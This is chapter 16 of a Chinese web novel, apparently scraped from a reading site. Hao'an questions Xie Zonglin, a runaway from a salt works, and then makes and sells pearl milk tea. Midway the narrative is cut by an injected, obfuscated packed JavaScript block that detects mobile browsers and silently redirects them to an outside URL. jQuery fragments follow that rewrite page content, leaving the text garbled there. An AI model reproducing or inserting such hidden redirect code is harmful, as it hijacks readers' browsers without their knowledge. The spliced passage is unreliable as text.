原源 作品

16. 奶茶

第十六章


晚上,好安善心大发,给谢宗林捎上一份荤汤。


“你是不是退烧了?”好安见他脸色明显好转,人也精神了不少。


谢宗林端着汤,点点头。


“病好了,你是不是该回家了。”好安旁敲侧击地问道:“对了,你家在哪?”


“家。”谢宗林闻言一愣,一些过去的人和事在脑中闪过。


“你哪里人?”好安再问道。


谢宗林正纠结着要不要说,就听见她继续道:“高田县的吗?”


谢宗林眼皮一跳,陡然抬头看向好安,戒备的神色再次在眼中浮现。


“你是在想我为什么知道?”好安漫不经心地笑了笑,说道:“我又不是瞎子。你那双脚一看就知道在哪里干过。”


“说吧,”好安语气先是温和,说到一半时,整个人突然凑上前去,眼神霎时变得尖锐无比,冷声道:“所以你是晒盐场的罪犯,还是……”


“我不是罪犯!”像是戳到了痛点,谢宗林猛地推开好安,大声说道:“我不是罪犯!”


“哦?”好安一副真的吗?我不信的模样。


“那你的脚为什么会这样。”


谢宗林曲着膝盖,一边捂着双脚,一边用力的把脚往后缩,像是要把什么见不得人的东西,永远的藏起来。


好安见他不开口,便开口道:“前几日,高田县晒盐场的官吏可是把村子和山里里里外外搜了一遍,指明了要找一男的。是你吧。”


好安说完,四周寂静无声,外头房顶上稻草滑落的声音都清晰可闻。


许久,谢宗林才开口说道:“是我。”


好安一下来了兴趣,好奇问道:“不是说进晒盐场的人都受过墨刑吗?你脸上怎么没有?”


谢宗林的脸线条流畅,不论是光洁的额头,还是瘦削的脸颊,没有一丝疤点。


谢宗林抬头看了好安一眼,思虑良久才缓慢说道:“进晒盐场的人确实会受墨刑。”


好安则从身上摸出一根冬瓜糖,边听边嚼。


“官府会统一刺好字,再把他们送进去。可我不是被送进来的,我是出生在晒盐场。晒盐场的官吏没有刺字的权利,所以我脸上没有。”


原来如此,这么一张好脸要是被刺字就可惜了。


“晒盐场还有女人?”


“一家老小都有。”


“你家是连坐?”


谢宗林沉默的点了点头。


连坐,能活着的,要么不是什么大罪,要么是边缘的人物,来凑数的。


因为重要的都连诛了。


“按照大晏律例,你这种情况,我没记错的话十岁以后服役几年就能回家了呀。”


好安来到这个世界还是借阅了不书,尤其律法条例。


“是,也不是。”谢宗林仰头,继续说道:“我祖父母,我父母,我哥哥嫂嫂都在晒盐场,我的家就在那,我能去哪,而且晒盐场不会让你走的。”


“你没有刺字,腿长在你身上。怎么走不得?”


谢宗林突然笑了起来,手里无意识的抓起几根稻草,死死的拧着,说道:“只要你在晒盐场出生,他们会强行把你迁入盐籍。盐,关乎民生,朝廷对盐户的管理极为严格。入盐户者,世代相承,不得变更。”


好安啧了一声,朝廷对盐户的管理她略知一二。


一个逃犯被逮到,诛。


一个盐丁逃跑被逮到,砍手断脚,只要没死救要继续干活。


以后的日子可以说得上是生不如死,还不如一刀嘎了,解脱。


“那你家人呢,你跑了他们在晒盐场不会有好下场。”


“他们,他们解脱了。”谢宗林双眼涣散,空洞无光,脸上却露出一副羡慕的神情。


先是年迈的祖母、祖父,一头载进卤水里再也没有醒来过。


接着是体弱多病的母亲,仅有的药渣熬了一遍又一遍,最后药汁比海水都清。


还有父亲、哥哥、嫂嫂,都是活活累死。


可他为什么还活着啊……


好安见他神色不妙,连忙岔开话题。


“……谢宗林,我刚刚说的听见没。”


好安喊了几声,见他都没有反应,便走了过去。


“啪”


“嘶——”


一巴掌结结实实的打在肩膀的伤口上。


“我刚刚说的听见没?”


“你是要拉我去报官吗?”


一个语气不耐烦,一个语气不想活。


“什么报官?”好安见谢宗林一副摆烂的模样莫名的火大,不爽道:“荤汤两文,今天四百零四文,记住没?”


“啊。”谢宗林愣住。


“记着还钱。在我这,钱没还完说再多都是屁话。”说着,还阴恻恻地威胁道:“不还完,我就去撅你祖坟。”


说完,好安拎着饭盒,脸色不佳地走出破屋,留下呆愣愣的谢宗林。


————


好安的牛还没送过来,但她已经搞到新鲜的水牛奶了。


村里周家的母牛昨日刚生下小牛,奶水充足。


水牛的产奶量不如奶牛,但只要照顾的好,泌乳期能持续有好几个月。


她卖冰粉还是赚了不少钱的,于是大手一挥,定了三个月的水牛奶,每日一桶,一桶十文。


第二日,鸡还没叫,周家就送来一桶。


新鲜的牛奶微微泛黄,好安立刻起灶开火,一边将茶叶高温冲泡,一边牛奶里加糖,大火快煮,煮到微烫即可。


茶叶充分浸泡后,好安没急着把它和牛奶融合,而是将茶焖上片刻,再用一空桶,把茶水在两个桶之间来回对拉。


她茶底选的是红茶,茶水在来回翻倒中不停的流动,不仅降低了茶温,还可以去涩,提高茶的口感。


做完这步,好安将茶水和牛奶和匀。这样奶、茶、糖三味才能更好的融合。


没有冰箱,好安照旧将奶茶悬放井中。


奶茶煮好只能算完工一半,还有小料还没煮,这可是奶茶的灵魂。


依旧是烧开水,放红糖化开,关火,再少量多次的加入玉米淀粉,迅速揉捏成团。


面团呈棕色,表面光滑,好安先用刀将它切成小条,再揪成小丁,然后搓成一个个小小的黑珍珠。


很快,黑珍珠便堆满一碗。最磨人的一道工序结束了,好安起身简单的活动一下筋骨,又烧了一大锅水。


水开后倒入珍珠,为防止粘连,好安手不停的搅拌,直到珍珠全部上浮。</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950796|160922||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


饺子上浮代表熟了,珍珠上浮代表刚开始。


好安赶紧把大火调成中火,一边煮一边搅。


“姐姐,你在干什么?”天边刚刚露白,好安打着哈欠,睡眼惺忪地问道。


“在准备赚大钱。”好安冲好昕笑道。


厨房里蒸汽四起,好昕凑到灶前,只能模糊地看见锅里面有一团黑色的东西。


“这是好吃的吗?”好昕问道。


“对,叫珍珠。”


“珍珠可以吃吗?”好昕不解。


“能不能吃你马上就知道啦。”


这次搓的珍珠不大,好安舀起一勺见已经煮得差不多了便熄火了灶台里的火,盖上盖子,焖它。


“快去洗漱,准备吃饭。”好安端起两碗面疙瘩,说道:“姐姐今天忙,吃完你去给破屋里哪个送早饭。”


好安现在想起谢宗林昨晚那要死不活的模样还一肚子气。


她居然花了这么多钱救一个不想活的人!


好气哦,越想越气。


“你到那敲敲门,把饭放门口就行,别搭理他。”


好昕不解,问道:“他是坏人吗?”


“额——”好安一时顿住,谢宗林目前看着不坏,但他总是情绪低落,四周气场也十分消极,隐隐有厌世的苗头,于是说道:“他思想不积极。”


饭后,好安继续熬煮珍珠,好昕则接过姐姐的任务,去破屋送饭。


谢宗林估摸着上次也是这个时间给他送饭,便坐到窗边,不时的朝外看去,结果只看到一个从来没见过的小男孩拎着熟悉的饭盒朝这走来。


他看小男孩也不说话,放下饭,敲了敲门便离开了。


“小子,昨天给我送饭的人呢?”谢宗林忍不住问道。


好昕一下顿住,犹豫了片刻,还是转过身,大声说道:“我姐姐说你思想不积极,不让我搭理你。”说完便撒腿跑了。


谢宗林一下愣住,一时说不出话来。


不积极。


他自从醒来后好像就一直缩在这个屋子里,哪也不想去。心里一边恨着自己在晒盐场受过的苦,一边又想着晒盐场的日子。


不停的抱怨,不满,却从来没有伸手改变……


————


珍珠焖完后变得透明,为了让它更有嚼劲,好安过了三四遍冷水才和红糖浆一起下锅,小火熬煮,直至浓稠。


虽加了新品,但冰粉也没撤下,只是一桶半换成了一桶。


珍珠奶茶一推出便在学生之间迅速传开,哪怕十文一筒,也有很多人争相购买。


它比冰粉方便,一个竹筒配上一根芦苇吸管,想带哪去就带哪去。


小料的选择也多。


多付两文可以加半份冰粉,多付三文可以加一份红糖珍珠。


加满料的奶茶轻抿一口,不仅有牛奶的丝滑浓厚,还有红茶的饱满香醇。甜滋滋的珍珠软糯香甜,滑嫩嫩的冰粉仿佛入口即化。


赵瑾轩身为好安铺子的忠实爱好者,奶茶一开售便买了四筒别在腰间。


一筒什么都不加,一筒加冰粉,一筒加红糖珍珠,还有一筒什么都加。


下午困了,来上几口,晚上累了,来上一筒。只要有奶茶,他觉得他可以学到天荒地老!